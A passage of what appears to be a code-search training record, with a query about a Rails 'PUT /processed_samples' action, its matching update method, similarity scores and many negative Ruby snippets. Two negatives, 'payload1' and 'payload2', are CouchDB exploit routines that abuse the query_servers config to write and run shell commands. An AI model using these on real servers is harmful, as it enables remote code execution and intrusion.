BETWEEN ? AND ?\", params[:date1], params[:date2]).group(\"product_id\")\n\n #render layout: false\n\n end",
"def fecha_hoy()\r\n t = Time.now\r\n\r\n dia_a= t.strftime(\"%d\")\r\n mes_a= t.strftime(\"%m\")\r\n anio_a= t.strftime(\"%Y\")\r\n\r\n anio_a= dia_a+\"/\" +mes_a +\"/\"+anio_a\r\n return anio_a\r\nend",
"def fecha_marca(marca)\n case marca.estado\n when \"sm\" then marca.fecha_solicitud\n when \"lp\" then marca.fecha_solicitud\n when \"lr\" then marca.fecha_registro\n when \"sr\" then marca.fecha_solicitud_renovacion\n when \"rc\" then marca.fecha_renovacion\n else\n marca.fecha_solicitud\n end\n end",
"def fineline_accurate_title\n return nil\n end",
"def calcular_salario_diario(fecha_ejecucion)\n ultimo_dia_del_mes = -1\n fact_salario = @salario / (Date.new(fecha_ejecucion.year, fecha_ejecucion.month, ultimo_dia_del_mes)).day\n end",
"def oben() \n return @fahrbahn.obere_linke_ecke().y() \n end",
"def arrival_date; return \"\"; end",
"def word_date()\n #Find date action was completed (from database using date_completed function)\n date_string = self.date_completed\n #Return if date does not exist\n return if date_string == nil\n date_string = self.date_completed\n #Parse date into DATETIME format\n date = DateTime.parse(date_string)\n #if the action has not been completed return string anouncing when the action\n #will occur. Logic needed to check if the date is upcoming or overdue.\n if @completed == 'f'\n if date.to_date > Date.today\n return \"DUE: #{date.strftime(\"%B %e, %Y\")}\"\n elsif date.to_date == Date.today\n return \"DUE Today\"\n elsif date.to_date < Date.today\n return \"OVERDUE: #{date.strftime(\"%B %e, %Y\")}\"\n end\n #if action has already been completed, return the date completed.\n else\n return \"#{date.strftime(\"%B %e, %Y\")}\"\n end\n end",
"def read_date; end",
"def fluxo_caixa_receitas_vendas_realizado(inicio, fim)\n\n sql = Lancamento.receitas.quitados.acao_por_mes.acao_range(inicio, fim)\n .where(:category_id => Category.find_by_code(Configurable.sales_category_code).subtree_ids)\n .select { date_part('month', dataacao).as(mes) }\n .select{sum(valor).as(value)}.to_sql\n\n return \"SELECT COALESCE(q.mes, m.number) as mes, COALESCE(q.value,0) AS value FROM (\" + sql + \") q RIGHT JOIN months m ON q.mes = m.number\"\n end",
"def repealed_on\n repeal_el = repeal\n repeal_el ? Time.parse(repeal_el['date']) : nil\n end"
] |
[
"0.659019",
"0.6394898",
"0.63039327",
"0.60691375",
"0.60685134",
"0.604469",
"0.60186946",
"0.5987143",
"0.59172195",
"0.58598316",
"0.58561254",
"0.57927275",
"0.5786053",
"0.57830805",
"0.5746755",
"0.5744075",
"0.5744075",
"0.5688655",
"0.5670321",
"0.5661955",
"0.5660768",
"0.56602174",
"0.5646683",
"0.5628657",
"0.5617488",
"0.5614793",
"0.5612762",
"0.5610939",
"0.5601887",
"0.55990916",
"0.55948615",
"0.5583197",
"0.5581297",
"0.55725026",
"0.5552586",
"0.5524185",
"0.5521943",
"0.5515017",
"0.55053025",
"0.5493199",
"0.5486583",
"0.5449013",
"0.54400826",
"0.5436038",
"0.54357165",
"0.54315376",
"0.54302615",
"0.5388221",
"0.5385284",
"0.53823465",
"0.53800935",
"0.53767395",
"0.53767395",
"0.53767395",
"0.53767395",
"0.5371174",
"0.5352702",
"0.5345646",
"0.53409106",
"0.5337829",
"0.5335824",
"0.5332388",
"0.5332388",
"0.53317237",
"0.5322604",
"0.532088",
"0.53095686",
"0.529673",
"0.52849257",
"0.528429",
"0.5276181",
"0.52758026",
"0.527424",
"0.527097",
"0.5264808",
"0.526373",
"0.5260079",
"0.52566665",
"0.52548754",
"0.5251929",
"0.524179",
"0.5240376",
"0.52380013",
"0.5237485",
"0.52361304",
"0.52343607",
"0.5231623",
"0.52227765",
"0.52225626",
"0.5221859",
"0.52193475",
"0.5215756",
"0.5214995",
"0.5214857",
"0.52129567",
"0.5211359",
"0.52100366",
"0.5205409",
"0.5204871",
"0.519192",
"0.5189984"
] |
0.0
|
-1
|
PUT /processed_samples/1 PUT /processed_samples/1.xml
|
def update
@processed_sample = ProcessedSample.find(params[:id])
ProcessedSample.transaction do
@processed_sample.update_attributes!(params[:processed_sample])
flash[:notice] = 'Processed sample successfully updated'
redirect_to(@processed_sample)
end
rescue ActiveRecord::RecordInvalid
render :action => "edit"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @xml_sample = XmlSample.find(params[:id])\n \n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.update_attributes(params[:xml_sample])\n if @xml_sample.save\n return redirect_to @xml_sample, notice: 'Xml sample was successfully updated.'\n else\n return render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n if @xml_sample.update_attributes(attr[\"xmlsample\"])\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update_multi\n params[:sample].each do |id, attributes|\n sample = Sample.find(id)\n sample.update_attributes(attributes) \n end\n flash[:notice] = 'Sample receipt updated'\n redirect_to samples_path\n \n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def perform_study_file_upload(filename, study_file_params, study_id)\n file_upload = Rack::Test::UploadedFile.new(Rails.root.join('test', 'test_data', filename))\n study_file_params[:study_file].merge!(upload: file_upload)\n patch \"/single_cell/studies/#{study_id}/upload\", params: study_file_params, headers: {'Content-Type' => 'multipart/form-data'}\nend",
"def update\n @sample = Sample.find(params[:id])\n\n respond_to do |format|\n if @sample.update_attributes(params[:sample])\n format.html { redirect_to samples_path, notice: 'Sample was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n if @sample.update(sample_params)\n render :show, status: :ok, location: @sample\n else\n render json: @sample.errors, status: :unprocessable_entity\n end\n end",
"def update\n @sample = Sample.find(params[:id])\n\n respond_to do |format|\n if @sample.update_attributes(params[:sample])\n format.html { redirect_to @sample, notice: 'Sample was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def index\n @xml_samples = XmlSample.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @xml_samples }\n format.xml { render xml: @xml_samples }\n end\n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def update\n @event_subscription.update(event_subscription_params)\n @event_subscription.save\n\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.update(id: requirement[:doc][:id],\n user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n render json: @event_subscription, status: :updated\n end",
"def update\n @fitness_sample = FitnessSample.find(params[:id])\n\n respond_to do |format|\n if @fitness_sample.update_attributes(params[:fitness_sample])\n flash[:notice] = 'FitnessSample was successfully updated.'\n format.html { redirect_to(@fitness_sample) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fitness_sample.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def payload1\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd1}\",\"map\":\"\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_temp_view?limit=20\"),\r\n 'method' => 'POST',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"language\":\"#{rand_cmd2}\",\"map\":\"\"})\r\n )\r\n end",
"def payload2\r\n rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_db = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_doc = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)\r\n rand_hex = Rex::Text.rand_text_hex(32)\r\n rand_file = \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}\"\r\n\r\n register_file_for_cleanup(rand_file)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_membership\"),\r\n 'method' => 'GET',\r\n 'authorization' => @auth\r\n )\r\n\r\n node = res.get_json_document['all_nodes'][0]\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd1}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"echo '#{@cmdstager}' > #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/#{rand_doc}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %({\"_id\": \"#{rand_hex}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd1}\"})\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_node/#{node}/_config/query_servers/#{rand_cmd2}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'data' => %(\"/bin/sh #{rand_file}\")\r\n )\r\n\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/#{rand_db}/_design/#{rand_tmp}\"),\r\n 'method' => 'PUT',\r\n 'authorization' => @auth,\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"_id\":\"_design/#{rand_tmp}\",\"views\":{\"#{rand_db}\":{\"map\":\"\"} },\"language\":\"#{rand_cmd2}\"})\r\n )\r\n end",
"def create\n respond_to do |format|\n format.html do\n @xml_sample = XmlSample.new(params[:xml_sample])\n if @xml_sample.save\n redirect_to @xml_sample, notice: 'Xml sample was successfully created.'\n else\n render action: \"new\"\n end\n end\n format.xml do\n rexml = REXML::Document.new(params[\"xml\"])\n attr = Hash.from_xml(rexml.to_s)\n @xml_sample = XmlSample.new(attr[\"xmlsample\"])\n if @xml_sample.save\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n else\n xml = {msg: \"failed\", status: \"NG\"}.to_xml\n end\n return render xml: xml\n end\n end\n end",
"def update\n @batch_sampling = BatchSampling.find(params[:id])\n\n respond_to do |format|\n if @batch_sampling.update_attributes(params[:batch_sampling])\n format.html { redirect_to(@batch_sampling, :notice => 'BatchSampling was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @batch_sampling.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sample = @ogsong.samples.new(sample_params)\n\n respond_to do |format|\n #if sample created successfully, show notice\n if @sample.save\n format.html { redirect_to @sample, notice: 'Sample was successfully created.' }\n format.json { render :show, status: :created, location: @sample }\n else\n format.html { render :new }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sample.update(sample_params)\n format.html { redirect_to @sample, notice: 'Sample was successfully updated.' }\n format.json { render :show, status: :ok, location: @sample }\n else\n format.html { render :edit }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sample.update(sample_params)\n format.html { redirect_to @sample, notice: 'Sample was successfully updated.' }\n format.json { render :show, status: :ok, location: @sample }\n else\n format.html { render :edit }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sample.update(sample_params)\n format.html { redirect_to @sample, notice: 'Sample was successfully updated.' }\n format.json { render :show, status: :ok, location: @sample }\n else\n format.html { render :edit }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sample.update(sample_params)\n format.html { redirect_to @sample, notice: 'Sample was successfully updated.' }\n format.json { render :show, status: :ok, location: @sample }\n else\n format.html { render :edit }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"def update\n respond_to do |format|\n #if producer updated successfully, show notice\n if @sample.update(sample_params)\n format.html { redirect_to @sample, notice: 'Sample was successfully updated.' }\n format.json { render :show, status: :ok, location: @sample }\n else\n format.html { render :edit }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sampleunit = Sampleunit.find(params[:id])\n\n respond_to do |format|\n if @sampleunit.update_attributes(params[:sampleunit])\n format.html { redirect_to(@sampleunit, :notice => 'Sample Unit was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sampleunit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @sample = Sample.find(params[:id])\n @sample.destroy\n\n respond_to do |format|\n format.html { redirect_to(samples_url) }\n format.xml { head :ok }\n end\n end",
"def process\n Wavefront::Write.new({ proxy: ENDPOINT, port: 2878 },\n tags: setup_tags).write(metrics_as_points)\n update_run_number\n end",
"def update\n respond_to do |format|\n if @image_to_sample.update(image_to_sample_params)\n format.html { redirect_to @image_to_sample, notice: 'Image to sample was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @image_to_sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(sample)\n update_stats(sample)\n update_estimates(sample)\n nil\n end",
"def update\n params.permit!\n @mssample = Mssample.find(params[:id])\n\n respond_to do |format|\n if @mssample.update_attributes(params[:mssample])\n format.html { redirect_to(@mssample, :notice => 'Mssample was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mssample.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end",
"def upload(samples)\n url = URI.parse(\"https://api.pachube.com/v2/feeds/#{@config[:feed_id]}/datastreams/#{@config[:datastream_id]}/datapoints.csv\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.ca_file = File.join(File.dirname(__FILE__), \"cacert.pem\")\n res, body = http.post(url.path, request_body(samples), {\"X-PachubeApiKey\" => @config[:api_key], \"Content-Type\" => \"text/csv\"})\n @ui.log.debug(\"Pachube Response: #{res}\")\n case res\n when Net::HTTPSuccess\n true\n else\n false\n end\n end",
"def update\n\n raw = params[:sample_type]\n st = SampleType.find(raw[:id])\n\n st.name = raw[:name]\n st.description = raw[:description]\n st.save\n st.save_field_types raw[:field_types]\n\n render json: { sample_type: st }\n\n end",
"def update\n if params[:resource][:document].present?\n @resource.document.purge\n @resource.document.attach(params[:resource][:document])\n end\n if params[:resource][:sample].present?\n @resource.sample.purge\n @resource.sample.attach(params[:resource][:sample])\n end\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @experiment = Experiment.find(params[:id])\n authorize! :manage, @experiments \n #\n # if genes are associated with experiment but not expgenes,then copy over and write to directoy\n #\n # Need to update Summary file\n # \n @iofq_data =[]\n @kratky_data =[] \n @pofr_data =[]\n @fit_data =[]\n @guinier_data =[]\n\n iofq_file = \"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/iofq_data_file.dat\"\n pofr_file = \"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/pofr_data_file.dat\"\n fit_file = \"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/fitted_SAXS_with_model.dat\"\n \n if File.exists? iofq_file\n #\n # Private method at bottom loadFileIntoJSON()\n @iofq_data, @qmax = loadFileIntoJSON(iofq_file, true)\n #create Kratky data\n @kratky_data = createKratky(iofq_file, @qmax)\n #create Guinier region q*Rg < 1.3\n @guinier_data, @low, @upper = createGuinier(iofq_file, @experiment.rg, @experiment.io) \n end\n\n @pofr_data, @rmax = loadFileIntoJSON(pofr_file, false) if File.exists? pofr_file\n @fit_data, @fqmax = loadFileIntoJSON(fit_file, true) if File.exists? fit_file\n \n @originals = Dir.glob(\"#{Rails.root}/public/SAX_DATA/#{@experiment.data_directory}/originals/*.int\") \n if !@experiment.structural_model.nil?\n @experiment.structural_model.force_create = true \n end\n if !@experiment.ensemble.nil?\n @experiment.ensemble.force_create = true \n end \n if !@experiment.no_model.nil?\n @experiment.no_model.force_create = true\n if !@experiment.no_model.figure_content_type.nil? \n @extension = @experiment.no_model_content_type.split(/\\//)[1]\n end \n end \n \n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n write_experiment(@experiment, @experiment.data_directory) \n format.html { redirect_to(edit_experiment_path(@experiment.id), :notice => 'Experiment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # @sample = Sample.find(params[:id])\n\n # respond_to do |format|\n # if @sample.update_attributes(params[:sample])\n # format.html { redirect_to @sample, notice: 'Sample was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @sample.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n @audio_file = AudioFile.find(params[:id])\n\n respond_to do |format|\n if @audio_file.update_attributes(params[:audio_file])\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.xml { render :xml => @audio_file.errors, :status => :unprocessable_entity }\n format.json { render :json => @audio_file.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @sample = Sample.new(params[:sample])\n\n respond_to do |format|\n if @sample.save\n format.html { redirect_to samples_path, notice: 'Sample was successfully created.' }\n format.json { render json: @sample, status: :created, location: @sample }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sample.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @sample_photo.update(sample_photo_params)\n render json: @sample_photo, status: :ok\n else\n render json: @sample_photo.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @sampling.update(sampling_params)\n format.html { redirect_to @sampling, notice: 'Sampling was successfully updated.' }\n format.json { render :show, status: :ok, location: @sampling }\n else\n format.html { render :edit }\n format.json { render json: @sampling.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sample_product = SampleProduct.find(params[:id])\n\n respond_to do |format|\n if @sample_product.update_attributes(params[:sample_product])\n format.html { redirect_to(@sample_product, :notice => 'Sample product was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sample_product.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sample_set = SampleSet.find(params[:id])\n @project = Project.find(@sample_set.project_id)\n @sample_set.name = params[:sample_set][:name]\n respond_to do |format|\n if @sample_set.save\n format.html { redirect_to project_path(@project), notice: 'Sample set was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sample_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_putpoi_update_valid\n nd = create(:node)\n cs_id = nd.changeset.id\n user = nd.changeset.user\n amf_content \"putpoi\", \"/1\", [\"#{user.email}:test\", cs_id, nd.version, nd.id, nd.lon, nd.lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/1\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 1, result[4]\n\n # Now try to update again, with a different lat/lon, using the updated version number\n lat = nd.lat + 0.1\n lon = nd.lon - 0.1\n amf_content \"putpoi\", \"/2\", [\"#{user.email}:test\", cs_id, nd.version + 1, nd.id, lon, lat, nd.tags, nd.visible]\n post :amf_write\n assert_response :success\n amf_parse_response\n result = amf_result(\"/2\")\n\n assert_equal 5, result.size\n assert_equal 0, result[0]\n assert_equal \"\", result[1]\n assert_equal nd.id, result[2]\n assert_equal nd.id, result[3]\n assert_equal nd.version + 2, result[4]\n end",
"def update!(**args)\n @sample_errors = args[:sample_errors] if args.key?(:sample_errors)\n end",
"def ingest_new_metadata( defaults, depositor, dirname, wsname, current, total )\n\n filename = File.join( dirname, wsname )\n metadata_file, _ = IngestHelpers.load_workset( filename )\n\n xml_doc = IngestHelpers.load_ingest_content( File.join( dirname, metadata_file ) )\n #id = solr_doc['id']\n\n puts \"Ingesting #{current} of #{total}: #{filename}...\"\n\n # create a payload from the document\n payload = create_new_ingest_payload( xml_doc )\n\n # merge in any default attributes\n payload = apply_defaults_for_new_item( defaults, payload )\n\n # some fields with embedded quotes need to be escaped; handle this here\n payload = IngestHelpers.escape_fields( payload )\n\n # dump the fields as necessary...\n IngestHelpers.dump_ingest_payload( payload ) if ENV[ 'DUMP_PAYLOAD' ]\n\n # validate the payload\n errors, warnings = IngestHelpers.validate_ingest_payload( payload )\n\n if errors.empty? == false\n puts \" ERROR(S) identified for #{filename}\"\n puts \" ==> #{errors.join( \"\\n ==> \" )}\"\n return false\n end\n\n if warnings.empty? == false\n puts \" WARNING(S) identified for #{filename}, continuing anyway\"\n puts \" ==> #{warnings.join( \"\\n ==> \" )}\"\n end\n\n # handle dry running\n return true if ENV[ 'DRY_RUN' ]\n\n # create the work\n ok, work = IngestHelpers.create_new_item( depositor, payload )\n if ok == true\n puts \"New work created; id #{work.id} (#{work.identifier || 'none'})\"\n else\n puts \" ERROR: creating new generic work for #{filename}\"\n return false\n end\n\n # create a record of the actual work id\n if work != nil\n ok = IngestHelpers.set_ingest_id( filename, work.id )\n puts \" ERROR: creating ingest id file\" unless ok\n end\n\n return ok\n end",
"def set_sample\n @sample = Sample.find(params[:id])\n end",
"def set_sample\n @sample = Sample.find(params[:id])\n end",
"def set_sample\n @sample = Sample.find(params[:id])\n end",
"def set_sample\n @sample = Sample.find(params[:id])\n end",
"def set_sample\n @sample = Sample.find(params[:id])\n end",
